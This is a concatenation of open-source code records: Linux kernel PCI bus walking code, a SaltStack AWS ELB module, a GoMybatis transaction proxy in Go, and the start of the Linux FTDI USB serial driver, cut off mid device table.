{\n\t\t\tdown_write(&pci_bus_sem);\n\t\t\tlist_add_tail(&child->node, &dev->bus->children);\n\t\t\tup_write(&pci_bus_sem);\n\t\t}\n\t\tpci_bus_add_devices(child);\n\n\t\t/*\n\t\t * register the bus with sysfs as the parent is now\n\t\t * properly registered.\n\t\t */\n\t\tif (child->is_added)\n\t\t\tcontinue;\n\t\tretval = pci_bus_add_child(child);\n\t\tif (retval)\n\t\t\tdev_err(&dev->dev, \"Error adding bus, continuing\\n\");\n\t}\n}\n\nvoid pci_enable_bridges(struct pci_bus *bus)\n{\n\tstruct pci_dev *dev;\n\tint retval;\n\n\tlist_for_each_entry(dev, &bus->devices, bus_list) {\n\t\tif (dev->subordinate) {\n\t\t\tif (!pci_is_enabled(dev)) {\n\t\t\t\tretval = pci_enable_device(dev);\n\t\t\t\tpci_set_master(dev);\n\t\t\t}\n\t\t\tpci_enable_bridges(dev->subordinate);\n\t\t}\n\t}\n}\n\n/** pci_walk_bus - walk devices on/under bus, calling callback.\n * @top bus whose devices should be walked\n * @cb callback to be called for each device found\n * @userdata arbitrary pointer to be passed to callback.\n *\n * Walk the given bus, including any bridged devices\n * on buses under this bus. Call the provided callback\n * on each device found.\n *\n * We check the return of @cb each time. If it returns anything\n * other than 0, we break out.\n *\n */\nvoid pci_walk_bus(struct pci_bus *top, int (*cb)(struct pci_dev *, void *),\n\t\t void *userdata)\n{\n\tstruct pci_dev *dev;\n\tstruct pci_bus *bus;\n\tstruct list_head *next;\n\tint retval;\n\n\tbus = top;\n\tdown_read(&pci_bus_sem);\n\tnext = top->devices.next;\n\tfor (;;) {\n\t\tif (next == &bus->devices) {\n\t\t\t/* end of this bus, go up or finish */\n\t\t\tif (bus == top)\n\t\t\t\tbreak;\n\t\t\tnext = bus->self->bus_list.next;\n\t\t\tbus = bus->self->bus;\n\t\t\tcontinue;\n\t\t}\n\t\tdev = list_entry(next, struct pci_dev, bus_list);\n\t\tif (dev->subordinate) {\n\t\t\t/* this is a pci-pci bridge, do its devices next */\n\t\t\tnext = dev->subordinate->devices.next;\n\t\t\tbus = dev->subordinate;\n\t\t} else\n\t\t\tnext = dev->bus_list.next;\n\n\t\t/* Run device routines with the device locked */\n\t\tdown(&dev->dev.sem);\n\t\tretval = cb(dev, userdata);\n\t\tup(&dev->dev.sem);\n\t\tif (retval)\n\t\t\tbreak;\n\t}\n\tup_read(&pci_bus_sem);\n}\n\nEXPORT_SYMBOL(pci_bus_alloc_resource);\nEXPORT_SYMBOL_GPL(pci_bus_add_device);\nEXPORT_SYMBOL(pci_bus_add_devices);\nEXPORT_SYMBOL(pci_enable_bridges);\n"} -{"text": "# -*- coding: utf-8 -*-\n\nimport logging\nimport os\n\ntry:\n import boto\n has_boto = \"aws_elb\"\nexcept ImportError:\n has_boto = False\n\nLOG = logging.getLogger(__name__)\nAWS_CREDENTIALS = {\n \"access_key\": None,\n \"secret_key\": None,\n}\n\n\ndef __virtual__():\n \"\"\"Don't load if boto is not available.\"\"\"\n return has_boto\n\n\ndef _get_credentials():\n \"\"\"\n Get AWS credentials:\n\n 1) Hardcoded above in the AWS_CREDENTIALS dictionary.\n 2) From the minion config ala:\n ec2_tags:\n aws:\n access_key: ABC123\n secret_key: abc123\n 3) From the environment (AWS_ACCESS_KEY and AWS_SECRET_KEY).\n 4) From the pillar (AWS_ACCESS_KEY and AWS_SECRET_KEY).\n\n \"\"\"\n # 1. Get from static AWS_CREDENTIALS\n if AWS_CREDENTIALS[\"access_key\"] and AWS_CREDENTIALS[\"secret_key\"]:\n return AWS_CREDENTIALS\n try: # 2. Get from minion config\n aws = __opts__.get[\"ec2_tags\"][\"aws\"]\n return {\"access_key\": aws[\"access_key\"],\n \"secret_key\": aws[\"secret_key\"], }\n except (KeyError, NameError, TypeError):\n try: # 3. Get from environment\n access_key = (os.environ.get(\"AWS_ACCESS_KEY\")\n or os.environ.get(\"AWS_ACCESS_KEY_ID\"))\n secret_key = (os.environ.get(\"AWS_SECRET_KEY\")\n or os.environ.get(\"AWS_SECRET_ACCESS_KEY\"))\n if access_key and secret_key:\n return {\"access_key\": access_key,\n \"secret_key\": secret_key, }\n raise KeyError\n except (KeyError, NameError):\n try: # 4. Get from pillar\n return {\"access_key\": __pillar__[\"AWS_ACCESS_KEY\"],\n \"secret_key\": __pillar__[\"AWS_SECRET_KEY\"], }\n except (KeyError, NameError):\n LOG.error(\"No AWS credentials found.\")\n return None\n\n\ndef _get_elb(name):\n \"\"\"Get an ELB by name.\"\"\"\n credentials = _get_credentials()\n if not credentials:\n return None\n conn = boto.connect_elb(credentials[\"access_key\"], credentials[\"secret_key\"])\n for lb in conn.get_all_load_balancers():\n if lb.name == name:\n return lb\n LOG.warning(\"Failed to find ELB: %s\", name)\n return None\n\n\ndef join(name, instance_id=None):\n \"\"\"\n Add instance to the given ELB. Requires 'ec2_instance-id' to be\n given or be part of the minion's grains.\n\n CLI Example:\n\n salt '*' aws_elb.join MyLoadBalancer-Production\n\n salt '*' aws_elb.join MyLoadBalancer-Production i-89393af9\n\n \"\"\"\n if instance_id is None:\n try:\n instance_id = __grains__[\"ec2_instance-id\"]\n except KeyError:\n return False\n lb = _get_elb(name)\n try:\n lb.register_instances([instance_id, ])\n except Exception:\n import traceback\n LOG.error(\"ELB %s: Error while registering instance %s\", name, instance_id)\n LOG.debug(traceback.format_exc())\n return False\n LOG.debug(\"ELB %s: Added instance %s\", name, instance_id)\n return True\n\n\ndef leave(name, instance_id=None):\n \"\"\"\n Removes instance from the given ELB. Requires\n 'ec2_instance-id' to be given or be part of the minion's grains.\n\n CLI Example:\n\n salt '*' aws_elb.leave MyLoadBalancer-Production\n\n salt '*' aws_elb.leave MyLoadBalancer-Production i-89393af9\n\n \"\"\"\n if instance_id is None:\n try:\n instance_id = __grains__[\"ec2_instance-id\"]\n except KeyError:\n return False\n lb = _get_elb(name)\n try:\n lb.deregister_instances([instance_id, ])\n except Exception:\n import traceback\n LOG.error(\"ELB %s: Error while deregistering instance %s\", name, instance_id)\n LOG.debug(traceback.format_exc())\n return False\n LOG.debug(\"ELB %s: Removed instance %s\", name, instance_id)\n return True\n\n\nif __name__ == \"__main__\":\n import sys\n logging.basicConfig(level=logging.DEBUG)\n print _get_elb(sys.argv[1])\n"} -{"text": "package GoMybatis\n\nimport (\n\t\"fmt\"\n\t\"github.com/zhuxiujia/GoMybatis/tx\"\n\t\"github.com/zhuxiujia/GoMybatis/utils\"\n\t\"reflect\"\n\t\"strings\"\n)\n\n//\u4f7f\u7528AOP\u5207\u9762 \u4ee3\u7406\u76ee\u6807\u670d\u52a1\uff0c\u5982\u679c\u670d\u52a1painc()\u5b83\u7684\u4e8b\u52a1\u4f1a\u56de\u6eda\n//\u9ed8\u8ba4\u4e3a\u5355\u534f\u7a0b\u6a21\u578b\uff0c\u5982\u679c\u662f\u591a\u534f\u7a0b\u8c03\u7528\u7684\u60c5\u51b5\u8bf7\u5f00\u542fengine.SetGoroutineIDEnable(true)\nfunc AopProxyService(service interface{}, engine SessionEngine) {\n\tvar v = reflect.ValueOf(service)\n\tif v.Kind() != reflect.Ptr {\n\t\tpanic(\"[GoMybatis] AopProxy service must use ptr arg!\")\n\t}\n\tAopProxyServiceValue(v, engine)\n}\n\n//\u4f7f\u7528AOP\u5207\u9762 \u4ee3\u7406\u76ee\u6807\u670d\u52a1\uff0c\u5982\u679c\u670d\u52a1painc()\u5b83\u7684\u4e8b\u52a1\u4f1a\u56de\u6eda\nfunc AopProxyServiceValue(service reflect.Value, engine SessionEngine) {\n\tvar beanType = service.Type().Elem()\n\tvar beanName = beanType.PkgPath() + beanType.Name()\n\tProxyValue(service, func(funcField reflect.StructField, field reflect.Value) func(arg ProxyArg) []reflect.Value {\n\t\t//init data\n\t\tvar propagation = tx.PROPAGATION_NEVER\n\t\tvar nativeImplFunc = reflect.ValueOf(field.Interface())\n\t\tvar txTag, haveTx = funcField.Tag.Lookup(\"tx\")\n\t\tvar rollbackTag = funcField.Tag.Get(\"rollback\")\n\t\tif haveTx {\n\t\t\tpropagation = tx.NewPropagation(txTag)\n\t\t}\n\t\tvar fn = func(arg ProxyArg) []reflect.Value {\n\t\t\tvar goroutineID int64 //\u534f\u7a0bid\n\t\t\tif engine.GoroutineIDEnable() {\n\t\t\t\tgoroutineID = utils.GoroutineID()\n\t\t\t} else {\n\t\t\t\tgoroutineID = 0\n\t\t\t}\n\t\t\tvar session = engine.GoroutineSessionMap().Get(goroutineID)\n\t\t\tif session == nil {\n\t\t\t\t//todo newSession is use service bean name?\n\t\t\t\tvar err error\n\t\t\t\tsession, err = engine.NewSession(beanName)\n\t\t\t\tdefer func() {\n\t\t\t\t\tif session != nil {\n\t\t\t\t\t\tsession.Close()\n\t\t\t\t\t}\n\t\t\t\t\tengine.GoroutineSessionMap().Delete(goroutineID)\n\t\t\t\t}()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\t//\u538b\u5165map\n\t\t\t\tengine.GoroutineSessionMap().Put(goroutineID, session)\n\t\t\t}\n\t\t\tif !haveTx {\n\t\t\t\tvar err = session.Begin(session.LastPROPAGATION())\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tvar err = session.Begin(&propagation)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar nativeImplResult = doNativeMethod(funcField, arg, nativeImplFunc, session, engine.Log())\n\t\t\tif !haveRollBackType(nativeImplResult, rollbackTag) {\n\t\t\t\tvar err = session.Commit()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar err = session.Rollback()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nativeImplResult\n\t\t}\n\t\treturn fn\n\t})\n}\n\nfunc doNativeMethod(funcField reflect.StructField, arg ProxyArg, nativeImplFunc reflect.Value, session Session, log Log) []reflect.Value {\n\tdefer func() {\n\t\terr := recover()\n\t\tif err != nil {\n\t\t\tvar rollbackErr = session.Rollback()\n\t\t\tif rollbackErr != nil {\n\t\t\t\tpanic(fmt.Sprint(err) + rollbackErr.Error())\n\t\t\t}\n\t\t\tif log != nil {\n\t\t\t\tlog.Println([]byte(fmt.Sprint(err) + \" Throw out error will Rollback! from >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> \" + funcField.Name + \"()\"))\n\t\t\t}\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\treturn nativeImplFunc.Call(arg.Args)\n\n}\n\nfunc haveRollBackType(v []reflect.Value, typeString string) bool {\n\t//println(typeString)\n\tif v == nil || len(v) == 0 || typeString == \"\" {\n\t\treturn false\n\t}\n\tfor _, item := range v {\n\t\tif item.Kind() == reflect.Interface {\n\t\t\t//println(typeString+\" == \" + item.String())\n\t\t\tif strings.Contains(item.String(), typeString) {\n\t\t\t\tif !item.IsNil() {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n"} -{"text": "/*\n * USB FTDI SIO driver\n *\n *\tCopyright (C) 2009 - 2013\n *\t Johan Hovold (jhovold@gmail.com)\n *\tCopyright (C) 1999 - 2001\n *\t Greg Kroah-Hartman (greg@kroah.com)\n * Bill Ryder (bryder@sgi.com)\n *\tCopyright (C) 2002\n *\t Kuba Ober (kuba@mareimbrium.org)\n *\n *\tThis program is free software; you can redistribute it and/or modify\n *\tit under the terms of the GNU General Public License as published by\n *\tthe Free Software Foundation; either version 2 of the License, or\n *\t(at your option) any later version.\n *\n * See Documentation/usb/usb-serial.txt for more information on using this\n * driver\n *\n * See http://ftdi-usb-sio.sourceforge.net for up to date testing info\n *\tand extra documentation\n *\n * Change entries from 2004 and earlier can be found in versions of this\n * file in kernel versions prior to the 2.6.24 release.\n *\n */\n\n/* Bill Ryder - bryder@sgi.com - wrote the FTDI_SIO implementation */\n/* Thanx to FTDI for so kindly providing details of the protocol required */\n/* to talk to the device */\n/* Thanx to gkh and the rest of the usb dev group for all code I have\n assimilated :-) */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"ftdi_sio.h\"\n#include \"ftdi_sio_ids.h\"\n\n#define DRIVER_AUTHOR \"Greg Kroah-Hartman , Bill Ryder , Kuba Ober , Andreas Mohr, Johan Hovold \"\n#define DRIVER_DESC \"USB FTDI Serial Converters Driver\"\n\n\nstruct ftdi_private {\n\tenum ftdi_chip_type chip_type;\n\t\t\t\t/* type of device, either SIO or FT8U232AM */\n\tint baud_base;\t\t/* baud base clock for divisor setting */\n\tint custom_divisor;\t/* custom_divisor kludge, this is for\n\t\t\t\t baud_base (different from what goes to the\n\t\t\t\t chip!) */\n\t__u16 last_set_data_urb_value ;\n\t\t\t\t/* the last data state set - needed for doing\n\t\t\t\t * a break\n\t\t\t\t */\n\tint flags;\t\t/* some ASYNC_xxxx flags are supported */\n\tunsigned long last_dtr_rts;\t/* saved modem control outputs */\n\tchar prev_status; /* Used for TIOCMIWAIT */\n\tchar transmit_empty;\t/* If transmitter is empty or not */\n\t__u16 interface;\t/* FT2232C, FT2232H or FT4232H port interface\n\t\t\t\t (0 for FT232/245) */\n\n\tspeed_t force_baud;\t/* if non-zero, force the baud rate to\n\t\t\t\t this value */\n\tint force_rtscts;\t/* if non-zero, force RTS-CTS to always\n\t\t\t\t be enabled */\n\n\tunsigned int latency;\t\t/* latency setting in use */\n\tunsigned short max_packet_size;\n\tstruct mutex cfg_lock; /* Avoid mess by parallel calls of config ioctl() and change_speed() */\n};\n\n/* struct ftdi_sio_quirk is used by devices requiring special attention. */\nstruct ftdi_sio_quirk {\n\tint (*probe)(struct usb_serial *);\n\t/* Special settings for probed ports. */\n\tvoid (*port_probe)(struct ftdi_private *);\n};\n\nstatic int ftdi_jtag_probe(struct usb_serial *serial);\nstatic int ftdi_NDI_device_setup(struct usb_serial *serial);\nstatic int ftdi_stmclite_probe(struct usb_serial *serial);\nstatic int ftdi_8u2232c_probe(struct usb_serial *serial);\nstatic void ftdi_USB_UIRT_setup(struct ftdi_private *priv);\nstatic void ftdi_HE_TIRA1_setup(struct ftdi_private *priv);\n\nstatic struct ftdi_sio_quirk ftdi_jtag_quirk = {\n\t.probe\t= ftdi_jtag_probe,\n};\n\nstatic struct ftdi_sio_quirk ftdi_NDI_device_quirk = {\n\t.probe\t= ftdi_NDI_device_setup,\n};\n\nstatic struct ftdi_sio_quirk ftdi_USB_UIRT_quirk = {\n\t.port_probe = ftdi_USB_UIRT_setup,\n};\n\nstatic struct ftdi_sio_quirk ftdi_HE_TIRA1_quirk = {\n\t.port_probe = ftdi_HE_TIRA1_setup,\n};\n\nstatic struct ftdi_sio_quirk ftdi_stmclite_quirk = {\n\t.probe\t= ftdi_stmclite_probe,\n};\n\nstatic struct ftdi_sio_quirk ftdi_8u2232c_quirk = {\n\t.probe\t= ftdi_8u2232c_probe,\n};\n\n/*\n * The 8U232AM has the same API as the sio except for:\n * - it can support MUCH higher baudrates; up to:\n * o 921600 for RS232 and 2000000 for RS422/485 at 48MHz\n * o 230400 at 12MHz\n * so .. 8U232AM's baudrate setting codes are different\n * - it has a two byte status code.\n * - it returns characters every 16ms (the FTDI does it every 40ms)\n *\n * the bcdDevice value is used to differentiate FT232BM and FT245BM from\n * the earlier FT8U232AM and FT8U232BM. For now, include all known VID/PID\n * combinations in both tables.\n * FIXME: perhaps bcdDevice can also identify 12MHz FT8U232AM devices,\n * but I don't know if those ever went into mass production. [Ian Abbott]\n */\n\n\n\n/*\n * Device ID not listed? Test it using\n * /sys/bus/usb-serial/drivers/ftdi_sio/new_id and send a patch or report.\n */\nstatic const struct usb_device_id id_table_combined[] = {\n\t{ USB_DEVICE(FTDI_VID, FTDI_BRICK_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ZEITCONTROL_TAGTRACE_MIFARE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CTI_MINI_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CTI_NANO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_AMC232_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CANUSB_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CANDAPTER_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_BM_ATOM_NANO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NXTCAM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_EV3CON_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_4_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_5_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_6_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_7_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_USINT_CAT_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_USINT_WKEY_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_USINT_RS232_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ACTZWAVE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IRTRANS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IPLUS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IPLUS2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_DMX4ALL) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SIO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_8U232AM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_8U232AM_ALT_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_232RL_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_8U2232C_PID) ,\n\t\t.driver_info = (kernel_ulong_t)&ftdi_8u2232c_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_4232H_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_232H_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_FTX_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MICRO_CHAMELEON_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_RELAIS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_SNIFFER_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_THROTTLE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_GATEWAY_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_GBM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OPENDCC_GBM_BOOST_PID) },\n\t{ USB_DEVICE(NEWPORT_VID, NEWPORT_AGILIS_PID) },\n\t{ USB_DEVICE(NEWPORT_VID, NEWPORT_CONEX_CC_PID) },\n\t{ USB_DEVICE(NEWPORT_VID, NEWPORT_CONEX_AGP_PID) },\n\t{ USB_DEVICE(INTERBIOMETRICS_VID, INTERBIOMETRICS_IOBOARD_PID) },\n\t{ USB_DEVICE(INTERBIOMETRICS_VID, INTERBIOMETRICS_MINI_IOBOARD_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SPROG_II) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TAGSYS_LP101_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TAGSYS_P200X_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_LENZ_LIUSB_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_632_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_634_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_547_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_633_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_631_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_635_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_640_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_XF_642_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_DSS20_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_URBAN_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_URBAN_1_PID) },\n\t{ USB_DEVICE(FTDI_NF_RIC_VID, FTDI_NF_RIC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_VNHCPCUSB_D_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_4_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_5_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MTXORB_6_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_R2000KU_TRUE_RNG) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_VARDAAN_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0100_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0101_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0102_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0103_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0104_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0105_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0106_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0107_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0108_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0109_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_010F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0110_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0111_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0112_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0113_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0114_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0115_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0116_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0117_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0118_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0119_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_011F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0120_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0121_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0122_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0123_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0124_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0125_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0126_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0127_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0128_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0129_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_012F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0130_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0131_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0132_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0133_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0134_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0135_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0136_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0137_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0138_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0139_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_013F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0140_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0141_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0142_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0143_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0144_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0145_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0146_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0147_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0148_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0149_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_014F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0150_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0151_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0152_PID) },\n\t{ USB_DEVICE(MTXORB_VID, 